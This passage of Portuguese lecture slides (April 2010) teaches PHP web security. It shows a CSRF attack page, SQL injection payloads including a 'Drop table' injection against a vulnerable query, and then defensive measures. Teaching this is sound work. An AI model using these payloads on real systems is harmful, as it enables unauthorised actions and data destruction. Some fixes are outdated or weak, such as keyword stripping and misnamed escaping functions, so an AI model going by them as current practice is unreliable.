  • 74. 24 h ) - CSRF (XSRF) – Cross Site Request Forgery Atacante – desenvolve o script e coloca-o num servidor //csrf_ataque.html <html> <head> <title>CSRF ATAQUE</title> </head> <body> <a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas %20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a> </body> </html> Solução -Colocar tokens que se propaguem na aplicação Abril 2010
  • 75. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php Abril 2010
  • 76. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... Abril 2010
  • 77. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Abril 2010
  • 78. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Activar selecção nome +password em php_sqlinjection_sel.php Aplicar em nome ‘ or 1=1 – xxx; Drop table -- !!! Abril 2010
  • 79. 25 i) SQL injection “SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘” php_sqlinjection_sel.php “SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘” php_sqli_sel_sq2.php 1’ or ‘1’=‘1 % ' or 1=1 – ...... SQL_Inject_me “SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘” Activar selecção nome +password em php_sqlinjection_sel.php Aplicar em nome ‘ or 1=1 – xxx; Drop table -- !!! Abril 2010
  • 80. 26 i) SQL injection - Solução Limitar comprimento dos campos no formulário: Abril 2010
  • 81. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Abril 2010
  • 82. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Abril 2010
  • 83. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL Abril 2010
  • 84. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Abril 2010
  • 85. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis Abril 2010
  • 86. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...). Ex: php_sqlinjection_sel1a.php  activar escaping Abril 2010
  • 87. 26 i) SQL injection - Solução Nome<br/><input type="text" name="nome" maxlength="15"/><br/> Limitar comprimento dos campos no formulário: Password<br/><input type="password" name="password" maxlength="10"/><br/> Validação do tipo de input: is_int() gettype() if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); intval() if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); settype() if (preg_match (‘^;([a-z0-9])$/i', $variável){ … }; strlen() strtotime() …. Limitar a utilização de caracteres/expressões SQL $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|*|--|)/"),"",$sql); Efectuar o “escaping” de variáveis sqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...). Ex: php_sqlinjection_sel1a.php  activar escaping Utilizar declarações (SQL) EX: script php_sqlinjection_sel1.php Abril 2010
  • 88. 27 Segurança como um todo – o que fazer? Como proteger das vulnerabilidades PHP? Do ponto de vista do administrador do sistema: Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO), Teste as aplicações sempre que use novas versões do PHP, Faça um scanning às aplicações em uso, Considere a utilização da seguinte configuração em PHP: register_globals (deve estar off), allow_url_fopen (deve estar off), magic_quotes_gpc (deve estar off), open_basedir (deve estar on e configurada correctamente), Abril 2010
  • 89. 28 Segurança como um todo – o que fazer? Como proteger das vulnerabilidades PHP ? Do ponto de vista do programador: Migrar urgentemente a aplicação para PHP 5.2 ou superior . Para evitar as questões anteriores: Programar com a última versão do PHP e com configuração “hardned” Validar todo o input de acordo com o tipo de variável atribuída Codificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSS Migrar o interface de dados para PDO Não usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1 Abril 2010